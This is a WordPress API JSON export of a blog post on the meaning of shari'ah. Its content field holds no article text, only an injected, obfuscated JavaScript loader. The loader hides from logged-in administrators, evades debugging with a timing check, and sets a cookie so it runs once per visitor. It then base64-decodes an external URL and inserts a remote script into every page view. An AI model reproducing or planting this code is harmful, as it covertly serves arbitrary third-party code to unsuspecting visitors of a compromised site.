{"id":2556,"date":"2019-11-19T12:26:42","date_gmt":"2019-11-19T12:26:42","guid":{"rendered":"https:\/\/www.lexislamica.com\/?p=2556"},"modified":"2026-01-20T17:13:23","modified_gmt":"2026-01-20T17:13:23","slug":"what-is-the-shariah-the-true-meaning","status":"publish","type":"post","link":"https:\/\/www.lexislamica.com\/index.php\/2019\/11\/19\/what-is-the-shariah-the-true-meaning\/","title":{"rendered":"What is the Shariah?\u2014the True Meaning"},"content":{"rendered":"<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The first question a non-Muslim asks on hearing the word<br \/>\n\u201cshar\u012b\u2018ah\u201d (pronounced sha ree \u2018ah,) is: what is the<br \/>\n<span style=\"font-style:italic\">shar\u012b\u2019ah<\/span>? This is a perfectly natural question. The<br \/>\ncorrect answer, however, is not known even to ninety-nine percent, or<br \/>\nmore, of the Muslims. Those who attempt to answer cause more confusion<br \/>\nthan clarity. We will first note the typical answer very briefly for<br \/>\nidentification, without reproducing the various answers, as pursuing<br \/>\nthose answers is not the purpose here.<\/p>\n","protected":false},"author":1,"featured_media":2599,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-2556","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-moi"],"_links":{"self":[{"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/posts\/2556","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/comments?post=2556"}],"version-history":[{"count":4,"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/posts\/2556\/revisions"}],"predecessor-version":[{"id":2635,"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/posts\/2556\/revisions\/2635"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/media\/2599"}],"wp:attachment":[{"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/media?parent=2556"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/categories?post=2556"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lexislamica.com\/index.php\/wp-json\/wp\/v2\/tags?post=2556"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}